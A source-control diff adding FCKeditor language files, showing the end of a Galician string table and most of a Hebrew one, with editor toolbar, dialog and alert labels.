+TextFieldProp		: "Propriedades do Campo de Texto",
+SelectionFieldProp	: "Propriedades do Campo de Selección",
+TextareaProp		: "Propriedades da Área de Texto",
+FormProp			: "Propriedades do Formulario",
+
+FontFormats			: "Normal;Formateado;Enderezo;Enacabezado 1;Encabezado 2;Encabezado 3;Encabezado 4;Encabezado 5;Encabezado 6;Paragraph (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "Procesando XHTML. Por facor, agarde...",
+Done				: "Feiro",
+PasteWordConfirm	: "Parece que o texto que quere pegar está copiado do Word.¿Quere limpar o formato antes de pegalo?",
+NotCompatiblePaste	: "Este comando está disponible para Internet Explorer versión 5.5 ou superior. ¿Quere pegalo sen limpar o formato?",
+UnknownToolbarItem	: "Ítem de ferramentas descoñecido \"%1\"",
+UnknownCommand		: "Nome de comando descoñecido \"%1\"",
+NotImplemented		: "Comando non implementado",
+UnknownToolbarSet	: "O conxunto de ferramentas \"%1\" non existe",
+NoActiveX			: "As opcións de seguridade do seu navegador poderían limitar algunha das características de editor. Debe activar a opción \"Executar controis ActiveX e plug-ins\". Pode notar que faltan características e experimentar erros",
+BrowseServerBlocked : "Non se poido abrir o navegador de recursos. Asegúrese de que están desactivados os bloqueadores de xanelas emerxentes",
+DialogBlocked		: "Non foi posible abrir a xanela de diálogo. Asegúrese de que están desactivados os bloqueadores de xanelas emerxentes",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Cancelar",
+DlgBtnClose			: "Pechar",
+DlgBtnBrowseServer	: "Navegar no Servidor",
+DlgAdvancedTag		: "Advanzado",
+DlgOpOther			: "<Outro>",
+DlgInfoTab			: "Info",
+DlgAlertUrl			: "Por favor, insira a URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<non definido>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Orientación do Idioma",
+DlgGenLangDirLtr	: "Esquerda a Dereita (LTR)",
+DlgGenLangDirRtl	: "Dereita a Esquerda (RTL)",
+DlgGenLangCode		: "Código do Idioma",
+DlgGenAccessKey		: "Chave de Acceso",
+DlgGenName			: "Nome",
+DlgGenTabIndex		: "Índice de Tabulación",
+DlgGenLongDescr		: "Descrición Completa da URL",
+DlgGenClass			: "Clases da Folla de Estilos",
+DlgGenTitle			: "Título",
+DlgGenContType		: "Tipo de Contido",
+DlgGenLinkCharset	: "Fonte de Caracteres Vinculado",
+DlgGenStyle			: "Estilo",
+
+// Image Dialog
+DlgImgTitle			: "Propriedades da Imaxe",
+DlgImgInfoTab		: "Información da Imaxe",
+DlgImgBtnUpload		: "Enviar ó Servidor",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Carregar",
+DlgImgAlt			: "Texto Alternativo",
+DlgImgWidth			: "Largura",
+DlgImgHeight		: "Altura",
+DlgImgLockRatio		: "Proporcional",
+DlgBtnResetSize		: "Tamaño Orixinal",
+DlgImgBorder		: "Límite",
+DlgImgHSpace		: "Esp. Horiz.",
+DlgImgVSpace		: "Esp. Vert.",
+DlgImgAlign			: "Aliñamento",
+DlgImgAlignLeft		: "Esquerda",
+DlgImgAlignAbsBottom: "Abs Inferior",
+DlgImgAlignAbsMiddle: "Abs Centro",
+DlgImgAlignBaseline	: "Liña Base",
+DlgImgAlignBottom	: "Pé",
+DlgImgAlignMiddle	: "Centro",
+DlgImgAlignRight	: "Dereita",
+DlgImgAlignTextTop	: "Tope do Texto",
+DlgImgAlignTop		: "Tope",
+DlgImgPreview		: "Vista Previa",
+DlgImgAlertUrl		: "Por favor, escriba a URL da imaxe",
+DlgImgLinkTab		: "Ligazón",
+
+// Flash Dialog
+DlgFlashTitle		: "Propriedades Flash",
+DlgFlashChkPlay		: "Auto Execución",
+DlgFlashChkLoop		: "Bucle",
+DlgFlashChkMenu		: "Activar Menú Flash",
+DlgFlashScale		: "Escalar",
+DlgFlashScaleAll	: "Amosar Todo",
+DlgFlashScaleNoBorder	: "Sen Borde",
+DlgFlashScaleFit	: "Encaixar axustando",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Ligazón",
+DlgLnkInfoTab		: "Información da Ligazón",
+DlgLnkTargetTab		: "Referencia a esta páxina",
+
+DlgLnkType			: "Tipo de Ligazón",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Referencia nesta páxina",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "Protocolo",
+DlgLnkProtoOther	: "<outro>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Seleccionar unha Referencia",
+DlgLnkAnchorByName	: "Por Nome de Referencia",
+DlgLnkAnchorById	: "Por Element Id",
+DlgLnkNoAnchors		: "<Non hai referencias disponibles no documento>",
+DlgLnkEMail			: "Enderezo de E-Mail",
+DlgLnkEMailSubject	: "Asunto do Mensaxe",
+DlgLnkEMailBody		: "Corpo do Mensaxe",
+DlgLnkUpload		: "Carregar",
+DlgLnkBtnUpload		: "Enviar ó servidor",
+
+DlgLnkTarget		: "Destino",
+DlgLnkTargetFrame	: "<frame>",
+DlgLnkTargetPopup	: "<Xanela Emerxente>",
+DlgLnkTargetBlank	: "Nova Xanela (_blank)",
+DlgLnkTargetParent	: "Xanela Pai (_parent)",
+DlgLnkTargetSelf	: "Mesma Xanela (_self)",
+DlgLnkTargetTop		: "Xanela Primaria (_top)",
+DlgLnkTargetFrameName	: "Nome do Marco Destino",
+DlgLnkPopWinName	: "Nome da Xanela Emerxente",
+DlgLnkPopWinFeat	: "Características da Xanela Emerxente",
+DlgLnkPopResize		: "Axustable",
+DlgLnkPopLocation	: "Barra de Localización",
+DlgLnkPopMenu		: "Barra de Menú",
+DlgLnkPopScroll		: "Barras de Desplazamento",
+DlgLnkPopStatus		: "Barra de Estado",
+DlgLnkPopToolbar	: "Barra de Ferramentas",
+DlgLnkPopFullScrn	: "A Toda Pantalla (IE)",
+DlgLnkPopDependent	: "Dependente (Netscape)",
+DlgLnkPopWidth		: "Largura",
+DlgLnkPopHeight		: "Altura",
+DlgLnkPopLeft		: "Posición Esquerda",
+DlgLnkPopTop		: "Posición dende Arriba",
+
+DlnLnkMsgNoUrl		: "Por favor, escriba a ligazón URL",
+DlnLnkMsgNoEMail	: "Por favor, escriba o enderezo de e-mail",
+DlnLnkMsgNoAnchor	: "Por favor, seleccione un destino",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Seleccionar Color",
+DlgColorBtnClear	: "Nengunha",
+DlgColorHighlight	: "Destacado",
+DlgColorSelected	: "Seleccionado",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Inserte un Smiley",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Seleccione Caracter Especial",
+
+// Table Dialog
+DlgTableTitle		: "Propiedades da Táboa",
+DlgTableRows		: "Filas",
+DlgTableColumns		: "Columnas",
+DlgTableBorder		: "Tamaño do Borde",
+DlgTableAlign		: "Aliñamento",
+DlgTableAlignNotSet	: "<Non Definido>",
+DlgTableAlignLeft	: "Esquerda",
+DlgTableAlignCenter	: "Centro",
+DlgTableAlignRight	: "Ereita",
+DlgTableWidth		: "Largura",
+DlgTableWidthPx		: "pixels",
+DlgTableWidthPc		: "percent",
+DlgTableHeight		: "Altura",
+DlgTableCellSpace	: "Marxe entre Celas",
+DlgTableCellPad		: "Marxe interior",
+DlgTableCaption		: "Título",
+DlgTableSummary		: "Sumario",
+
+// Table Cell Dialog
+DlgCellTitle		: "Propriedades da Cela",
+DlgCellWidth		: "Largura",
+DlgCellWidthPx		: "pixels",
+DlgCellWidthPc		: "percent",
+DlgCellHeight		: "Altura",
+DlgCellWordWrap		: "Axustar Liñas",
+DlgCellWordWrapNotSet	: "<Non Definido>",
+DlgCellWordWrapYes	: "Si",
+DlgCellWordWrapNo	: "Non",
+DlgCellHorAlign		: "Aliñamento Horizontal",
+DlgCellHorAlignNotSet	: "<Non definido>",
+DlgCellHorAlignLeft	: "Esquerda",
+DlgCellHorAlignCenter	: "Centro",
+DlgCellHorAlignRight: "Dereita",
+DlgCellVerAlign		: "Aliñamento Vertical",
+DlgCellVerAlignNotSet	: "<Non definido>",
+DlgCellVerAlignTop	: "Arriba",
+DlgCellVerAlignMiddle	: "Medio",
+DlgCellVerAlignBottom	: "Abaixo",
+DlgCellVerAlignBaseline	: "Liña de Base",
+DlgCellRowSpan		: "Ocupar Filas",
+DlgCellCollSpan		: "Ocupar Columnas",
+DlgCellBackColor	: "Color de Fondo",
+DlgCellBorderColor	: "Color de Borde",
+DlgCellBtnSelect	: "Seleccionar...",
+
+// Find Dialog
+DlgFindTitle		: "Procurar",
+DlgFindFindBtn		: "Procurar",
+DlgFindNotFoundMsg	: "Non te atopou o texto indicado.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Substituir",
+DlgReplaceFindLbl		: "Texto a procurar:",
+DlgReplaceReplaceLbl	: "Substituir con:",
+DlgReplaceCaseChk		: "Coincidir Mai./min.",
+DlgReplaceReplaceBtn	: "Substituir",
+DlgReplaceReplAllBtn	: "Substitiur Todo",
+DlgReplaceWordChk		: "Coincidir con toda a palabra",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Os axustes de seguridade do seu navegador non permiten que o editor realice automáticamente as tarefas de pegado. Por favor, use o teclado para iso (Ctrl+V).",
+PasteErrorCut	: "Os axustes de seguridade do seu navegador non permiten que o editor realice automáticamente as tarefas de corte. Por favor, use o teclado para iso (Ctrl+X).",
+PasteErrorCopy	: "Os axustes de seguridade do seu navegador non permiten que o editor realice automáticamente as tarefas de copia. Por favor, use o teclado para iso (Ctrl+C).",
+
+PasteAsText		: "Pegar como texto plano",
+PasteFromWord	: "Pegar dende Word",
+
+DlgPasteMsg2	: "Por favor, pegue dentro do seguinte cadro usando o teclado (<STRONG>Ctrl+V</STRONG>) e pulse <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ignorar as definicións de Tipografía",
+DlgPasteRemoveStyles	: "Eliminar as definicións de Estilos",
+DlgPasteCleanBox		: "Limpar o Cadro",
+
+// Color Picker
+ColorAutomatic	: "Automático",
+ColorMoreColors	: "Máis Cores...",
+
+// Document Properties
+DocProps		: "Propriedades do Documento",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Propriedades da Referencia",
+DlgAnchorName		: "Nome da Referencia",
+DlgAnchorErrorName	: "Por favor, escriba o nome da referencia",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Non está no diccionario",
+DlgSpellChangeTo		: "Cambiar a",
+DlgSpellBtnIgnore		: "Ignorar",
+DlgSpellBtnIgnoreAll	: "Ignorar Todas",
+DlgSpellBtnReplace		: "Substituir",
+DlgSpellBtnReplaceAll	: "Substituir Todas",
+DlgSpellBtnUndo			: "Desfacer",
+DlgSpellNoSuggestions	: "- Sen candidatos -",
+DlgSpellProgress		: "Corrección ortográfica en progreso...",
+DlgSpellNoMispell		: "Corrección ortográfica rematada: Non se atoparon erros",
+DlgSpellNoChanges		: "Corrección ortográfica rematada: Non se substituiu nengunha verba",
+DlgSpellOneChange		: "Corrección ortográfica rematada: Unha verba substituida",
+DlgSpellManyChanges		: "Corrección ortográfica rematada: %1 verbas substituidas",
+
+IeSpellDownload			: "O corrector ortográfico non está instalado. ¿Quere descargalo agora?",
+
+// Button Dialog
+DlgButtonText		: "Texto (Valor)",
+DlgButtonType		: "Tipo",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Nome",
+DlgCheckboxValue	: "Valor",
+DlgCheckboxSelected	: "Seleccionado",
+
+// Form Dialog
+DlgFormName		: "Nome",
+DlgFormAction	: "Acción",
+DlgFormMethod	: "Método",
+
+// Select Field Dialog
+DlgSelectName		: "Nome",
+DlgSelectValue		: "Valor",
+DlgSelectSize		: "Tamaño",
+DlgSelectLines		: "liñas",
+DlgSelectChkMulti	: "Permitir múltiples seleccións",
+DlgSelectOpAvail	: "Opcións Disponibles",
+DlgSelectOpText		: "Texto",
+DlgSelectOpValue	: "Valor",
+DlgSelectBtnAdd		: "Engadir",
+DlgSelectBtnModify	: "Modificar",
+DlgSelectBtnUp		: "Subir",
+DlgSelectBtnDown	: "Baixar",
+DlgSelectBtnSetValue : "Definir como valor por defecto",
+DlgSelectBtnDelete	: "Borrar",
+
+// Textarea Dialog
+DlgTextareaName	: "Nome",
+DlgTextareaCols	: "Columnas",
+DlgTextareaRows	: "Filas",
+
+// Text Field Dialog
+DlgTextName			: "Nome",
+DlgTextValue		: "Valor",
+DlgTextCharWidth	: "Tamaño do Caracter",
+DlgTextMaxChars		: "Máximo de Caracteres",
+DlgTextType			: "Tipo",
+DlgTextTypeText		: "Texto",
+DlgTextTypePass		: "Chave",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Nome",
+DlgHiddenValue	: "Valor",
+
+// Bulleted List Dialog
+BulletedListProp	: "Propriedades das Marcas",
+NumberedListProp	: "Propriedades da Lista de Numeración",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Tipo",
+DlgLstTypeCircle	: "Círculo",
+DlgLstTypeDisc		: "Disco",
+DlgLstTypeSquare	: "Cuadrado",
+DlgLstTypeNumbers	: "Números (1, 2, 3)",
+DlgLstTypeLCase		: "Letras Minúsculas (a, b, c)",
+DlgLstTypeUCase		: "Letras Maiúsculas (A, B, C)",
+DlgLstTypeSRoman	: "Números Romanos en minúscula (i, ii, iii)",
+DlgLstTypeLRoman	: "Números Romanos en Maiúscula (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Xeral",
+DlgDocBackTab		: "Fondo",
+DlgDocColorsTab		: "Cores e Marxes",
+DlgDocMetaTab		: "Meta Data",
+
+DlgDocPageTitle		: "Título da Páxina",
+DlgDocLangDir		: "Orientación do Idioma",
+DlgDocLangDirLTR	: "Esquerda a Dereita (LTR)",
+DlgDocLangDirRTL	: "Dereita a Esquerda (RTL)",
+DlgDocLangCode		: "Código de Idioma",
+DlgDocCharSet		: "Codificación do Xogo de Caracteres",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Outra Codificación do Xogo de Caracteres",
+
+DlgDocDocType		: "Encabezado do Tipo de Documento",
+DlgDocDocTypeOther	: "Outro Encabezado do Tipo de Documento",
+DlgDocIncXHTML		: "Incluir Declaracións XHTML",
+DlgDocBgColor		: "Cor de Fondo",
+DlgDocBgImage		: "URL da Imaxe de Fondo",
+DlgDocBgNoScroll	: "Fondo Fixo",
+DlgDocCText			: "Texto",
+DlgDocCLink			: "Ligazóns",
+DlgDocCVisited		: "Ligazón Visitada",
+DlgDocCActive		: "Ligazón Activa",
+DlgDocMargins		: "Marxes da Páxina",
+DlgDocMaTop			: "Arriba",
+DlgDocMaLeft		: "Esquerda",
+DlgDocMaRight		: "Dereita",
+DlgDocMaBottom		: "Abaixo",
+DlgDocMeIndex		: "Palabras Chave de Indexación do Documento (separadas por comas)",
+DlgDocMeDescr		: "Descripción do Documento",
+DlgDocMeAuthor		: "Autor",
+DlgDocMeCopy		: "Copyright",
+DlgDocPreview		: "Vista Previa",
+
+// Templates Dialog
+Templates			: "Plantillas",
+DlgTemplatesTitle	: "Plantillas de Contido",
+DlgTemplatesSelMsg	: "Por favor, seleccione a plantilla a abrir no editor<br>(o contido actual perderase):",
+DlgTemplatesLoading	: "Cargando listado de plantillas. Por favor, espere...",
+DlgTemplatesNoTpl	: "(Non hai plantillas definidas)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "Acerca de",
+DlgAboutBrowserInfoTab	: "Información do Navegador",
+DlgAboutLicenseTab	: "Licencia",
+DlgAboutVersion		: "versión",
+DlgAboutLicense		: "Licencia concedida baixo os termos da GNU Lesser General Public License",
+DlgAboutInfo		: "Para máis información visitar:"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/he.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/he.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/he.js	(revision 44)
@@ -0,0 +1,502 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: he.js
+ * 	Hebrew language file.
+ * 
+ * File Authors:
+ * 		Tamir Mordo (tamir@tetitu.co.il)
+ * 		Ophir Radnitz (ophir@liqweed.net)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "rtl",
+
+ToolbarCollapse		: "כיווץ סרגל הכלים",
+ToolbarExpand		: "פתיחת סרגל הכלים",
+
+// Toolbar Items and Context Menu
+Save				: "שמירה",
+NewPage				: "דף חדש",
+Preview				: "תצוגה מקדימה",
+Cut					: "גזירה",
+Copy				: "העתקה",
+Paste				: "הדבקה",
+PasteText			: "הדבקה כטקסט פשוט",
+PasteWord			: "הדבקה מ-וורד",
+Print				: "הדפסה",
+SelectAll			: "בחירת הכל",
+RemoveFormat		: "הסרת העיצוב",
+InsertLinkLbl		: "קישור",
+InsertLink			: "הוספת/עריכת קישור",
+RemoveLink			: "הסרת הקישור",
+Anchor				: "הוספת/עריכת נקודת עיגון",
+InsertImageLbl		: "תמונה",
+InsertImage			: "הוספת/עריכת תמונה",
+InsertFlashLbl		: "פלאש",
+InsertFlash			: "הוסף/ערוך פלאש",
+InsertTableLbl		: "טבלה",
+InsertTable			: "הוספת/עריכת טבלה",
+InsertLineLbl		: "קו",
+InsertLine			: "הוספת קו אופקי",
+InsertSpecialCharLbl: "תו מיוחד",
+InsertSpecialChar	: "הוספת תו מיוחד",
+InsertSmileyLbl		: "סמיילי",
+InsertSmiley		: "הוספת סמיילי",
+About				: "אודות FCKeditor",
+Bold				: "מודגש",
+Italic				: "נטוי",
+Underline			: "קו תחתון",
+StrikeThrough		: "כתיב מחוק",
+Subscript			: "כתיב תחתון",
+Superscript			: "כתיב עליון",
+LeftJustify			: "יישור לשמאל",
+CenterJustify		: "מרכוז",
+RightJustify		: "יישור לימין",
+BlockJustify		: "יישור לשוליים",
+DecreaseIndent		: "הקטנת אינדנטציה",
+IncreaseIndent		: "הגדלת אינדנטציה",
+Undo				: "ביטול צעד אחרון",
+Redo				: "חזרה על צעד אחרון",
+NumberedListLbl		: "רשימה ממוספרת",
+NumberedList		: "הוספת/הסרת רשימה ממוספרת",
+BulletedListLbl		: "רשימת נקודות",
+BulletedList		: "הוספת/הסרת רשימת נקודות",
+ShowTableBorders	: "הצגת מסגרת הטבלה",
+ShowDetails			: "הצגת פרטים",
+Style				: "סגנון",
+FontFormat			: "עיצוב",
+Font				: "גופן",
+FontSize			: "גודל",
+TextColor			: "צבע טקסט",
+BGColor				: "צבע רקע",
+Source				: "מקור",
+Find				: "חיפוש",
+Replace				: "החלפה",
+SpellCheck			: "בדיקת איות",
+UniversalKeyboard	: "מקלדת אוניברסלית",
+PageBreakLbl		: "שבירת דף",
+PageBreak			: "הוסף שבירת דף",
+
+Form			: "טופס",
+Checkbox		: "תיבת סימון",
+RadioButton		: "לחצן אפשרויות",
+TextField		: "שדה טקסט",
+Textarea		: "איזור טקסט",
+HiddenField		: "שדה חבוי",
+Button			: "כפתור",
+SelectionField	: "שדה בחירה",
+ImageButton		: "כפתור תמונה",
+
+FitWindow		: "הגדל את גודל העורך",
+
+// Context Menu
+EditLink			: "עריכת קישור",
+CellCM				: "תא",
+RowCM				: "שורה",
+ColumnCM			: "עמודה",
+InsertRow			: "הוספת שורה",
+DeleteRows			: "מחיקת שורות",
+InsertColumn		: "הוספת עמודה",
+DeleteColumns		: "מחיקת עמודות",
+InsertCell			: "הוספת תא",
+DeleteCells			: "מחיקת תאים",
+MergeCells			: "מיזוג תאים",
+SplitCell			: "פיצול תאים",
+TableDelete			: "מחק טבלה",
+CellProperties		: "תכונות התא",
+TableProperties		: "תכונות הטבלה",
+ImageProperties		: "תכונות התמונה",
+FlashProperties		: "מאפייני פלאש",
+
+AnchorProp			: "מאפייני נקודת עיגון",
+ButtonProp			: "מאפייני כפתור",
+CheckboxProp		: "מאפייני תיבת סימון",
+HiddenFieldProp		: "מאפיני שדה חבוי",
+RadioButtonProp		: "מאפייני לחצן אפשרויות",
+ImageButtonProp		: "מאפיני כפתור תמונה",
+TextFieldProp		: "מאפייני שדה טקסט",
+SelectionFieldProp	: "מאפייני שדה בחירה",
+TextareaProp		: "מאפיני איזור טקסט",
+FormProp			: "מאפיני טופס",
+
+FontFormats			: "נורמלי;קוד;כתובת;כותרת;כותרת 2;כותרת 3;כותרת 4;כותרת 5;כותרת 6",
+
+// Alerts and Messages
+ProcessingXHTML		: "מעבד XHTML, נא להמתין...",
+Done				: "המשימה הושלמה",
+PasteWordConfirm	: "נראה הטקסט שבכוונתך להדביק מקורו בקובץ וורד. האם ברצונך לנקות אותו טרם ההדבקה?",
+NotCompatiblePaste	: "פעולה זו זמינה לדפדפן אינטרנט אקספלורר מגירסא 5.5 ומעלה. האם להמשיך בהדבקה ללא הניקוי?",
+UnknownToolbarItem	: "פריט לא ידוע בסרגל הכלים \"%1\"",
+UnknownCommand		: "שם פעולה לא ידוע \"%1\"",
+NotImplemented		: "הפקודה לא מיושמת",
+UnknownToolbarSet	: "ערכת סרגל הכלים \"%1\" לא קיימת",
+NoActiveX			: "הגדרות אבטחה של הדפדפן עלולות לגביל את אפשרויות העריכה.יש לאפשר את האופציה \"הרץ פקדים פעילים ותוספות\". תוכל לחוות טעויות וחיווים של אפשרויות שחסרים.",
+BrowseServerBlocked : "לא ניתן לגשת לדפדפן משאבים.אנא וודא שחוסם חלונות הקופצים לא פעיל.",
+DialogBlocked		: "לא היה ניתן לפתוח חלון דיאלוג. אנא וודא שחוסם חלונות קופצים לא פעיל.",
+
+// Dialogs
+DlgBtnOK			: "אישור",
+DlgBtnCancel		: "ביטול",
+DlgBtnClose			: "סגירה",
+DlgBtnBrowseServer	: "סייר השרת",
+DlgAdvancedTag		: "אפשרויות מתקדמות",
+DlgOpOther			: "<אחר>",
+DlgInfoTab			: "מידע",
+DlgAlertUrl			: "אנה הזן URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<לא נקבע>",
+DlgGenId			: "זיהוי (Id)",
+DlgGenLangDir		: "כיוון שפה",
+DlgGenLangDirLtr	: "שמאל לימין (LTR)",
+DlgGenLangDirRtl	: "ימין לשמאל (RTL)",
+DlgGenLangCode		: "קוד שפה",
+DlgGenAccessKey		: "מקש גישה",
+DlgGenName			: "שם",
+DlgGenTabIndex		: "מספר טאב",
+DlgGenLongDescr		: "קישור לתיאור מפורט",
+DlgGenClass			: "גיליונות עיצוב קבוצות",
+DlgGenTitle			: "כותרת מוצעת",
+DlgGenContType		: "Content Type מוצע",
+DlgGenLinkCharset	: "קידוד המשאב המקושר",
+DlgGenStyle			: "סגנון",
+
+// Image Dialog
+DlgImgTitle			: "תכונות התמונה",
+DlgImgInfoTab		: "מידע על התמונה",
+DlgImgBtnUpload		: "שליחה לשרת",
+DlgImgURL			: "כתובת (URL)",
+DlgImgUpload		: "העלאה",
+DlgImgAlt			: "טקסט חלופי",
+DlgImgWidth			: "רוחב",
+DlgImgHeight		: "גובה",
+DlgImgLockRatio		: "נעילת היחס",
+DlgBtnResetSize		: "איפוס הגודל",
+DlgImgBorder		: "מסגרת",
+DlgImgHSpace		: "מרווח אופקי",
+DlgImgVSpace		: "מרווח אנכי",
+DlgImgAlign			: "יישור",
+DlgImgAlignLeft		: "לשמאל",
+DlgImgAlignAbsBottom: "לתחתית האבסולוטית",
+DlgImgAlignAbsMiddle: "מרכוז אבסולוטי",
+DlgImgAlignBaseline	: "לקו התחתית",
+DlgImgAlignBottom	: "לתחתית",
+DlgImgAlignMiddle	: "לאמצע",
+DlgImgAlignRight	: "לימין",
+DlgImgAlignTextTop	: "לראש הטקסט",
+DlgImgAlignTop		: "למעלה",
+DlgImgPreview		: "תצוגה מקדימה",
+DlgImgAlertUrl		: "נא להקליד את כתובת התמונה",
+DlgImgLinkTab		: "קישור",
+
+// Flash Dialog
+DlgFlashTitle		: "מאפיני פלאש",
+DlgFlashChkPlay		: "נגן אוטומטי",
+DlgFlashChkLoop		: "לולאה",
+DlgFlashChkMenu		: "אפשר תפריט פלאש",
+DlgFlashScale		: "גודל",
+DlgFlashScaleAll	: "הצג הכל",
+DlgFlashScaleNoBorder	: "ללא גבולות",
+DlgFlashScaleFit	: "התאמה מושלמת",
+
+// Link Dialog
+DlgLnkWindowTitle	: "קישור",
+DlgLnkInfoTab		: "מידע על הקישור",
+DlgLnkTargetTab		: "מטרה",
+
+DlgLnkType			: "סוג קישור",
+DlgLnkTypeURL		: "כתובת (URL)",
+DlgLnkTypeAnchor	: "עוגן בעמוד זה",
+DlgLnkTypeEMail		: "דוא''ל",
+DlgLnkProto			: "פרוטוקול",
+DlgLnkProtoOther	: "<אחר>",
+DlgLnkURL			: "כתובת (URL)",
+DlgLnkAnchorSel		: "בחירת עוגן",
+DlgLnkAnchorByName	: "עפ''י שם העוגן",
+DlgLnkAnchorById	: "עפ''י זיהוי (Id) הרכיב",
+DlgLnkNoAnchors		: "<אין עוגנים זמינים בדף>",
+DlgLnkEMail			: "כתובת הדוא''ל",
+DlgLnkEMailSubject	: "נושא ההודעה",
+DlgLnkEMailBody		: "גוף ההודעה",
+DlgLnkUpload		: "העלאה",
+DlgLnkBtnUpload		: "שליחה לשרת",
+
+DlgLnkTarget		: "מטרה",
+DlgLnkTargetFrame	: "<מסגרת>",
+DlgLnkTargetPopup	: "<חלון קופץ>",
+DlgLnkTargetBlank	: "חלון חדש (_blank)",
+DlgLnkTargetParent	: "חלון האב (_parent)",
+DlgLnkTargetSelf	: "באותו החלון (_self)",
+DlgLnkTargetTop		: "חלון ראשי (_top)",
+DlgLnkTargetFrameName	: "שם מסגרת היעד",
+DlgLnkPopWinName	: "שם החלון הקופץ",
+DlgLnkPopWinFeat	: "תכונות החלון הקופץ",
+DlgLnkPopResize		: "בעל גודל ניתן לשינוי",
+DlgLnkPopLocation	: "סרגל כתובת",
+DlgLnkPopMenu		: "סרגל תפריט",
+DlgLnkPopScroll		: "ניתן לגלילה",
+DlgLnkPopStatus		: "סרגל חיווי",
+DlgLnkPopToolbar	: "סרגל הכלים",
+DlgLnkPopFullScrn	: "מסך מלא (IE)",
+DlgLnkPopDependent	: "תלוי (Netscape)",
+DlgLnkPopWidth		: "רוחב",
+DlgLnkPopHeight		: "גובה",
+DlgLnkPopLeft		: "מיקום צד שמאל",
+DlgLnkPopTop		: "מיקום צד עליון",
+
+DlnLnkMsgNoUrl		: "נא להקליד את כתובת הקישור (URL)",
+DlnLnkMsgNoEMail	: "נא להקליד את כתובת הדוא''ל",
+DlnLnkMsgNoAnchor	: "נא לבחור עוגן במסמך",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "בחירת צבע",
+DlgColorBtnClear	: "איפוס",
+DlgColorHighlight	: "נוכחי",
+DlgColorSelected	: "נבחר",
+
+// Smiley Dialog
+DlgSmileyTitle		: "הוספת סמיילי",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "בחירת תו מיוחד",
+
+// Table Dialog
+DlgTableTitle		: "תכונות טבלה",
+DlgTableRows		: "שורות",
+DlgTableColumns		: "עמודות",
+DlgTableBorder		: "גודל מסגרת",
+DlgTableAlign		: "יישור",
+DlgTableAlignNotSet	: "<לא נקבע>",
+DlgTableAlignLeft	: "שמאל",
+DlgTableAlignCenter	: "מרכז",
+DlgTableAlignRight	: "ימין",
+DlgTableWidth		: "רוחב",
+DlgTableWidthPx		: "פיקסלים",
+DlgTableWidthPc		: "אחוז",
+DlgTableHeight		: "גובה",
+DlgTableCellSpace	: "מרווח תא",
+DlgTableCellPad		: "ריפוד תא",
+DlgTableCaption		: "כיתוב",
+DlgTableSummary		: "סיכום",
+
+// Table Cell Dialog
+DlgCellTitle		: "תכונות תא",
+DlgCellWidth		: "רוחב",
+DlgCellWidthPx		: "פיקסלים",
+DlgCellWidthPc		: "אחוז",
+DlgCellHeight		: "גובה",
+DlgCellWordWrap		: "גלילת שורות",
+DlgCellWordWrapNotSet	: "<לא נקבע>",
+DlgCellWordWrapYes	: "כן",
+DlgCellWordWrapNo	: "לא",
+DlgCellHorAlign		: "יישור אופקי",
+DlgCellHorAlignNotSet	: "<לא נקבע>",
+DlgCellHorAlignLeft	: "שמאל",
+DlgCellHorAlignCenter	: "מרכז",
+DlgCellHorAlignRight: "ימין",
+DlgCellVerAlign		: "יישור אנכי",
+DlgCellVerAlignNotSet	: "<לא נקבע>",
+DlgCellVerAlignTop	: "למעלה",
+DlgCellVerAlignMiddle	: "לאמצע",
+DlgCellVerAlignBottom	: "לתחתית",
+DlgCellVerAlignBaseline	: "קו תחתית",
+DlgCellRowSpan		: "טווח שורות",
